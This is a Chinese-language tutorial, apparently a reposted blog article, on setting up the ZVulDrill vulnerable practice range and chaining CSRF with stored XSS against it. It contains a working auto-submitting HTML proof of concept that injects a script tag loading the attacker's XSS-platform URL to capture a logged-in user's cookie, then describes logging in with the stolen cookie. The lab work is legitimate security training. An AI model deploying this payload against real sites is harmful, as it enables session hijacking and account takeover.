1. 程式人生 > 其它 >csrf+xss組合拳獲取cookie

csrf+xss組合拳獲取cookie

關於ZVulDrill搭建的問題

目前github上的ZVulDrill有兩個版本,分別是舊版和新版,新版需要對檔案略作修改:將根目錄下的名為js的資料夾移動到資料夾user目錄下,方可正常使用。舊版無需更改。

ZVulDrill的搭建與其他靶場的搭建過程大體相同,但最後步驟稍有區別。

該靶場與pikachu類似,需要訪問資料庫,故需要修改資料庫相關資訊,路徑為:\ZVulDrill\sys\config.php

該靶場的預設資料庫名為ZVulDrill,在php程式碼中所用到的資料庫亦為ZVulDrill,故需要新建一個名為ZVulDrill的資料庫並匯入相關設定方可使用,需匯入的sql指令碼路徑為:\ZVulDrill\sys\zvuldrill.sql

。在新版的phpstudy中新建資料庫極為簡單,如圖:

請注意,資料庫名稱一定要與你的config.php檔案中的$database的值同名。

另外,版本問題也相當重要。如果版本不對的話,可能會出現註冊與登入的時候報錯、無法註冊新使用者、無法正常回顯等問題。

經過多次測試,筆者測試出可以使靶場正常執行的版本:php版本:5.4.45nts,資料庫版本:MySql 5.0.96

千萬請注意,一旦版本出錯,後面的實驗無法正常展開。當然,若是讀者有興趣,可以自行測試更多的php版本,在此不做贅述。

XSS與CSRF的聯合利用

首先說明聯合利用的思路:先構造一個攻擊頁面,該頁面存放著獲取cookie的程式碼,並且會自動重定向到使用者的登入介面;將這個攻擊頁面偽裝好之後發給被攻擊使用者,當用戶在登入狀態點選時,登入狀態的cookie就會被攻擊者獲取,進而攻擊者就可以利用使用者的cookie登入,執行相應操作。

按照以上的思路,我們先構建一個用於攻擊的頁面,程式碼如下:

<!DOCTYPEhtml>
<htmllang="en">

<head>
<metacharset="UTF-8">
<title>測試CSRF+XSS漏洞Poc</title>
</head>

<body>
<formaction="http://127.0.0.1/ZVulDrill/user/updateName.php"method="post"name="update_name"id="Poc">
<inputtype="hidden"name="test"value="test01</a><scriptsrc=yourURL></script><a>"
class="form-control"id="inputEmail">
<inputtype="hidden"name="update"class="btnbtn-primary"value="更新"></input>
</form>
<scripttype="text/javascript">
varformTag=document.getElementById("Poc");
formTag.submit();
</script>
</body>

</html>

這裡使用了一個xss平臺來獲取cookie,具體體現在程式碼的第11行,可自由輸入自己的xss平臺連結。

正常情況下進行攻擊的話,需要把這段程式碼的連結偽裝起來,但是我們現在做的僅僅是一個驗證性實驗,無需這麼麻煩,只需在瀏覽器中執行該程式碼即可。

然後,頁面會自動跳轉到修改介面。這時,我們就獲取到了使用者的cookie。

如圖,referer與cookie兩個引數是需要重點注意的,利用referer的值可以直接訪問目標介面,而cookie則是模仿使用者登入的關鍵。然後,可以利用這個cookie進行登入,攻擊就完成了。